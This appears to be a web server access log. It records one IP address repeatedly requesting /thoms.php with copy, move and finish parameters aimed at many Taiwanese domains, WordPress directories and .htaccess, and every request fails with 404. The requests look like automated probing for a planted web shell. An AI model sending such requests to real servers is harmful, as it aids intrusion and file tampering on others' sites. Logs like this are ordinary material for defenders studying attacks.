45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:44 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:45 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:46 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
